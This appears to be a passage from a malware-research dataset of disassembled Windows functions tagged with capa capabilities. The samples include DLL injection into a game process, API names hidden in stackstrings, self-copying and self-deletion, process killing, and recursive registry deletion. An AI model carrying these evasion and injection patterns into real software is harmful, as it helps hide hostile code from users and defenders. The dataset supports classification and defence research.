joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Read file via mapping
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x860
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
push 0x44
lea eax, [ebp - 0x860]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
xorps xmm0, xmm0
push 0
movq qword [ebp - 0x818], xmm0
movq qword [ebp - 0x810], xmm0
mov dword [ebp - 0x860], 0x44
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, esi
mov byte [ebp - 0x804], 0
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401060
mov edi, dword [sym.imp.MSVCR110.dll_strcat_s]
lea eax, [ebp - 0x804]
sub ecx, edx
jne 0x40107e
push str.rFactor.exe
jmp 0x40107f
push esi
push 0x800
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x804]
push 0x403184
push 0x800
push eax
call edi
add esp, 0xc
push str.rFactorDllInjectSharedMem
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov ebx, eax
test ebx, ebx
je 0x4010e9
push 0x80
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
push esi
lea eax, [ebp - 0x804]
push 0x800
push eax
call edi
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.gameinject.dll
push str.detoured.dll
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x860]
push eax
push 0
push 0
push 0x4000004
push 1
push 0
push 0
lea eax, [ebp - 0x804]
push eax
push 0
call fcn.00402644
pop edi
pop esi
pop ebx
test eax, eax
jne 0x401132
push 0x232f
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x814]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [ebp - 0x818]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x808]
push eax
push dword [ebp - 0x818]
mov dword [ebp - 0x808], 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x808]
test eax, eax
mov edx, 0x2330
cmove ecx, edx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040118b
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401bda
Capabilities:
Parse pe header

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x140
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
push esi
push 0x40
lea eax, [ebp - 0xc4]
mov esi, ecx
push 0
push eax
mov dword [ebp - 0xc8], esi
mov ebx, edx
call sub.MSVCR110.dll_memset
add esp, 0xc
push 0
push 0x40
lea eax, [ebp - 0xc4]
push eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call esi
test eax, eax
jne 0x401c2b
xor eax, eax
jmp 0x401c8b
mov eax, 0x5a4d
cmp word [ebp - 0xc4], ax
jne 0x401c27
push edi
mov edi, 0xf8
push edi
lea eax, [ebp - 0x84]
push 0
push eax
call sub.MSVCR110.dll_memset
add ebx, dword [ebp - 0x88]
add esp, 0xc
push 0
push edi
lea eax, [ebp - 0x84]
push eax
push ebx
push dword [ebp - 0xc8]
call esi
pop edi
test eax, eax
je 0x401c27
cmp dword [ebp - 0x84], 0x4550
jne 0x401c27
mov ax, word [ebp - 0x6e]
not ax
movzx eax, ax
shr eax, 0xd
and eax, 1
mov ecx, dword [ebp + 0x74]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040118b
add ebp, 0x78
leave
ret
Function at 0x402644
Capabilities:
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x38]
sub esp, 0x18
or eax, 4
test ecx, ecx
jne 0x40265d
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea edx, [ebp - 0x18]
push edx
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call ecx
test eax, eax
jne 0x402684
xor eax, eax
jmp 0x4026d9
mov ecx, dword [ebp + 0x30]
xor eax, eax
test ecx, ecx
je 0x402691
mov dword [ebp - 8], ecx
inc eax
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x40269d
mov dword [ebp + eax*4 - 8], ecx
inc eax
mov ecx, dword [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00402006
pop ecx
pop ecx
test eax, eax
je 0x402680
cmp dword [ebp + 0x2c], 0
je 0x4026c7
push 0x10
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0x2c]
call sub.MSVCR110.dll_memcpy
add esp, 0xc
test byte [ebp + 0x1c], 4
jne 0x4026d6
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
leave
ret 0x34
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.0040351c
test eax, eax
je 0x40107b
push esi
lea ecx, [ebp - 0x18]
mov word [ebp - 8], 0x656c
push ecx
push eax
mov dword [ebp - 0xd], 0x76697250
mov word [ebp - 0x17], 0x6a64
mov dword [ebp - 6], 0x736567
mov dword [ebp - 0x12], 0x656b6f54
mov byte [ebp - 0x18], 0x41
mov word [ebp - 0x14], 0x7473
mov byte [ebp - 9], 0x69
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0xe], 0x6e
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40107a
push ebx
push ebx
push 0x10
push dword [ebp + 8]
mov ecx, esi
push ebx
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401081
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x401102
push esi
lea ecx, [esp + 0x10]
mov word [esp + 0x19], 0x6165
push ecx
push eax
mov word [esp + 0x1b], 0x7265
mov word [esp + 0x1e], 0x7465
mov dword [esp + 0x25], 0x656c69
mov word [esp + 0x19], 0x746e
mov byte [esp + 0x18], 0x49
mov word [esp + 0x23], 0x4664
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x20], 0x52
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401101
push dword [esp + 0x2c]
mov ecx, esi
push 0x400
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret

Function at 0x40110b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
xor esi, esi
mov ebx, edx
mov ebp, ecx
inc esi
call fcn.00403453
mov ecx, eax
call fcn.0040351c
test eax, eax
je 0x401181
push edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x12], 0x65755167
push ecx
push eax
mov dword [esp + 0x23], 0x78456575
mov word [esp + 0x18], 0x6552
mov dword [esp + 0x1e], 0x61567972
mov word [esp + 0x27], 0x57
mov byte [esp + 0x22], 0x6c
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x401180
push dword [esp + 0x34]
mov ecx, edi
push dword [esp + 0x34]
push 0
push 0
push ebx
push ebp
call dword [0x4172b8]
call edi
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x40118a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x4011fb
push esi
lea ecx, [ebp - 0x18]
mov word [ebp - 0x14], 0x6e72
push ecx
push eax
mov dword [ebp - 0x11], 0x65755174
mov dword [ebp - 8], 0x576e6f69
mov dword [ebp - 0xd], 0x704f7972
mov dword [ebp - 0x18], 0x65746e49
mov byte [ebp - 9], 0x74
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4011fa
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
push 0x1f
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401201
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x40127b
push esi
lea ecx, [ebp - 0x14]
mov word [ebp - 0xc], 0x6553
push ecx
push eax
mov word [ebp - 0x11], 0x7265
mov dword [ebp - 7], 0x6e6f6974
mov word [ebp - 9], 0x704f
mov word [ebp - 0x14], 0x6e49
mov word [ebp - 0xe], 0x7465
mov word [ebp - 3], 0x57
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0x12], 0x74
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40127a
push 4
push dword [ebp + 8]
mov ecx, esi
push 0x1f
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401281
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x401303
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x11], 0x4f707474
push ecx
push eax
mov word [esp + 0x21], 0x7165
mov dword [esp + 0x25], 0x577473
mov word [esp + 0x1e], 0x6e65
mov word [esp + 0x23], 0x6575
mov byte [esp + 0x20], 0x52
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x18], 0x48
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401302
push ebx
push dword [esp + 0x3c]
mov ecx, esi
push ebx
push ebx
push str.HTTP_1.0
push dword [esp + 0x3c]
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret
Function at 0x40138b
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x890
push esi
push edi
push dword [ebp + 0x10]
push 0x41cda8
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4014a3
mov edi, 0x208
lea eax, [ebp - 0x688]
push edi
xor esi, esi
push esi
push eax
call fcn.00405930
push edi
lea eax, [ebp - 0x480]
push esi
push eax
call fcn.00405930
push edi
lea eax, [ebp - 0x278]
push esi
push eax
call fcn.00405930
add esp, 0x24
lea eax, [ebp - 0x688]
mov edi, 0x104
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x480]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x278]
push eax
push esi
push 0x41cdb0
lea eax, [ebp - 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov edx, str..exe
lea ecx, [ebp - 0x278]
call fcn.00403590
push esi
lea eax, [ebp - 0x278]
push eax
lea eax, [ebp - 0x688]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x44
pop edi
push edi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.00405930
add esp, 0xc
mov dword [ebp - 0x70], edi
mov edx, 0x41cdc4
lea ecx, [ebp - 0x278]
call fcn.00403590
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x70]
push eax
push esi
push esi
push 0x50
push esi
push esi
push esi
lea eax, [ebp - 0x278]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
jmp 0x40155c
mov esi, dword [ebp + 8]
push 0x64
push 0x421580
push 0x68
push esi
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x4214b8
push 0x6e
push esi
call dword [sym.imp.USER32.dll_LoadStringW]
mov ecx, esi
call fcn.00401562
mov edx, dword [ebp + 0x14]
mov ecx, esi
call fcn.0041574f
test eax, eax
je 0x40149c
push 0x6e
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, eax
xor esi, esi
jmp 0x401510
lea eax, [ebp - 0x1c]
push eax
push edi
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x401510
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x4014ea
push 0x208
lea eax, [ebp - 0x890]
push esi
push eax
call fcn.00405930
add esp, 0xc
lea eax, [ebp - 0x890]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 4
push esi
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
leave
ret 0x10
Function at 0x4015d3
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x22c
push ebp
push esi
push edi
xor esi, esi
mov ebp, ecx
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40165a
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x401653
push ebx
push ebp
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40162d
push dword [esp + 0x18]
push esi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x401640
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x40160a
jmp 0x401652
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
inc esi
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
add esp, 0x22c
ret

Function at 0x401709
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push 0x69
pop eax
push 0x75
mov word [ebp - 0x16], ax
pop eax
push 0x61
mov word [ebp - 0xc], ax
xor eax, eax
mov word [ebp - 4], ax
pop eax
push 0x72
mov word [ebp - 0x1a], ax
pop eax
push 0x43
mov word [ebp - 6], ax
pop eax
push 0x70
mov word [ebp - 0x10], ax
pop eax
push 0x52
mov word [ebp - 0x18], ax
pop eax
push 0x65
mov word [ebp - 0x1c], ax
pop eax
push 0x6e
mov word [ebp - 8], ax
pop eax
push 0x54
mov word [ebp - 0xa], ax
pop eax
push 0x64
mov word [ebp - 0xe], ax
pop eax
push 0x50
mov word [ebp - 0x14], ax
pop eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x1c]
push 0x41cfa4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x401815
push esi
push 0x208
xor esi, esi
lea eax, [ebp - 0x224]
push esi
push eax
call fcn.00405930
add esp, 0xc
lea eax, [ebp - 0x224]
push esi
push 0x2a
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.004016c5
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401666
push esi
push 0x23
lea eax, [ebp - 0x224]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401666
push esi
push 0x1c
lea eax, [ebp - 0x224]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.004016c5
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x224]
call fcn.00401666
pop esi
leave
ret
Function at 0x401b68
Capabilities:
Check http status code

Disassembly:
mov eax, 0x416cfe
call fcn.004154cc
sub esp, 0x4c
push ebx
push esi
push edi
push 0x6f
pop esi
push 0x77
mov edi, ecx
mov word [ebp - 0x4e], si
pop ecx
push 0x6c
pop eax
push 0x67
pop edx
push 0x2e
mov word [ebp - 0x58], cx
xor ebx, ebx
mov word [ebp - 0x54], cx
mov word [ebp - 0x56], cx
pop ecx
push 0x6d
mov word [ebp - 0x48], ax
pop eax
mov word [ebp - 0x3e], ax
push 0x65
pop eax
mov word [ebp - 0x46], ax
push 0x63
pop eax
mov word [ebp - 0x42], ax
xor eax, eax
mov word [ebp - 0x3c], ax
inc eax
mov word [ebp - 0x44], cx
mov word [ebp - 0x52], cx
mov ecx, eax
push eax
mov word [ebp - 0x50], dx
mov word [ebp - 0x4c], si
mov word [ebp - 0x4a], dx
mov word [ebp - 0x40], si
call fcn.0040279c
push eax
sub esp, 0x18
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call fcn.00403638
mov ecx, edi
call fcn.00401a06
cmp byte [edi + 0x18], bl
je 0x401ca9
lea ecx, [ebp - 0x38]
call fcn.00416867
push ecx
push 0x4883000
sub esp, 0xc
mov dword [ebp - 4], ebx
mov ecx, eax
push 0x41d0fc
call fcn.00402e50
mov ecx, dword [edi + 0x20]
mov edx, eax
call fcn.00401281
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
add esp, 0x18
mov esi, eax
call fcn.00402e5c
test esi, esi
je 0x401ca2
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 4
push eax
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
call fcn.0040118a
or dword [ebp - 0x10], 0x180
lea eax, [ebp - 0x10]
add esp, 4
mov ecx, esi
push eax
call fcn.00401201
push ebx
push ebx
push ebx
xor edx, edx
mov ecx, esi
call fcn.004154f0
add esp, 0x14
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 4
push ebx
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
cmp dword [ebp - 0x14], 0xc8
push 1
movzx ebx, bl
pop ecx
cmove ebx, ecx
mov ecx, esi
call fcn.00401f20
mov ecx, edi
call fcn.00416841
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x401f20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x401f8c
push esi
lea ecx, [ebp - 0x14]
mov word [ebp - 0xd], 0x4374
push ecx
push eax
mov dword [ebp - 0xa], 0x4865736f
mov dword [ebp - 5], 0x656c646e
mov byte [ebp - 0xb], 0x6c
mov word [ebp - 0x14], 0x6e49
mov dword [ebp - 0x11], 0x656e7265
mov byte [ebp - 1], bl
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 6], 0x61
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401f8b
push edi
mov ecx, esi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret
Function at 0x401f92
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov edi, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.0040351c
test eax, eax
je 0x401ff9
push esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0xb], 0x6f547373
push ecx
push eax
mov word [ebp - 6], 0x6e65
mov byte [ebp - 4], bl
mov dword [ebp - 0xf], 0x65636f72
mov dword [ebp - 0x14], 0x6e65704f
mov byte [ebp - 7], 0x6b
mov byte [ebp - 0x10], 0x50
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401ff8
push dword [ebp + 8]
mov ecx, esi
push 0x20
push edi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x401fff
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
xor esi, esi
mov ebx, edx
mov ebp, ecx
inc esi
call fcn.00403453
mov ecx, eax
call fcn.0040351c
test eax, eax
je 0x402070
push edi
lea ecx, [esp + 0x10]
mov word [esp + 0x18], 0x7965
push ecx
push eax
mov dword [esp + 0x22], 0x577845
mov dword [esp + 0x1b], 0x6e65704f
mov byte [esp + 0x1f], 0x4b
mov word [esp + 0x19], 0x6765
mov byte [esp + 0x18], 0x52
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x40206f
push dword [esp + 0x2c]
mov ecx, edi
push dword [esp + 0x2c]
push 0
push ebx
push ebp
call dword [0x4172b8]
call edi
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402079
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x4020ee
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x15], 0x4374656e
push ecx
push eax
mov dword [esp + 0x21], 0x656e6e6f
mov dword [esp + 0x18], 0x65746e49
mov word [esp + 0x26], 0x5774
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x28], bl
mov byte [esp + 0x25], 0x63
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4020ed
push ebx
push ebx
push 3
push ebx
push ebx
push dword [esp + 0x3c]
mov ecx, esi
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret
Function at 0x4025cd
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
push ebx
push ebp
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x402611
lea eax, [esp + 0x14]
mov edx, edi
push eax
push 0x20019
push ecx
mov ecx, ebx
call fcn.00401fff
add esp, 0xc
test eax, eax
je 0x40261c
cmp eax, 2
jne 0x4026ad
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x5c
lea esi, [edi + eax*2]
pop eax
cmp word [esi - 2], ax
je 0x40263a
mov word [esi], ax
add esi, 2
xor eax, eax
mov word [esi], ax
xor ebp, ebp
jmp 0x402665
xor eax, eax
mov word [esi], ax
lea eax, [esp + 0x20]
push 0xffffffffffffffff
push eax
push 0x208
push edi
call fcn.00409456
add esp, 0x10
mov edx, edi
mov ecx, ebx
call fcn.004025cd
test eax, eax
je 0x40268e
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0x104
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push ebp
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x40263e
xor eax, eax
mov word [esi - 2], ax
mov ecx, dword [esp + 0x14]
call fcn.004155e5
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x402611
xor eax, eax
jmp 0x402614

Function at 0x4154f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x41556b
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x17], 0x71655264
push ecx
push eax
mov dword [esp + 0x25], 0x577473
mov word [esp + 0x1a], 0x7074
mov word [esp + 0x1d], 0x6e65
mov word [esp + 0x18], 0x7448
mov word [esp + 0x23], 0x6575
mov byte [esp + 0x1c], 0x53
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x41556a
push dword [esp + 0x30]
mov ecx, esi
push dword [esp + 0x30]
push dword [esp + 0x30]
push edi
push ebp
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret

Function at 0x415574
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push edi
mov edi, edx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.0040351c
test eax, eax
je 0x4155df
push esi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], 0x72507075
push ecx
push eax
mov dword [ebp - 0xa], 0x6c615665
mov dword [ebp - 0x18], 0x6b6f6f4c
mov dword [ebp - 0xf], 0x656c6976
mov dword [ebp - 6], 0x576575
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xb], 0x67
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4155de
push dword [ebp + 8]
mov ecx, esi
push edi
push ebx
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4155e5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
mov ebx, ecx
inc esi
call fcn.00403453
mov ecx, eax
call fcn.0040351c
test eax, eax
je 0x415643
push edi
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0x43676552
push ecx
push eax
mov word [ebp - 5], 0x4b65
mov word [ebp - 8], 0x6f6c
mov word [ebp - 2], 0x79
mov byte [ebp - 6], 0x73
mov byte [ebp - 3], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x415642
push ebx
mov ecx, edi
call dword [0x4172b8]
call edi
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x415649
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push ebp
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.00403453
mov ecx, eax
call fcn.004034b4
test eax, eax
je 0x4156b1
push esi
lea ecx, [esp + 0x10]
mov word [esp + 0x10], 0x6e49
push ecx
push eax
mov dword [esp + 0x1b], 0x656e7265
mov dword [esp + 0x21], 0x576e6570
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x25], bl
mov word [esp + 0x1f], 0x4f74
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4156b0
push ebx
push ebx
push ebx
push edi
push ebp
mov ecx, esi
call dword [0x4172b8]
call esi
mov ebx, eax
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x10
ret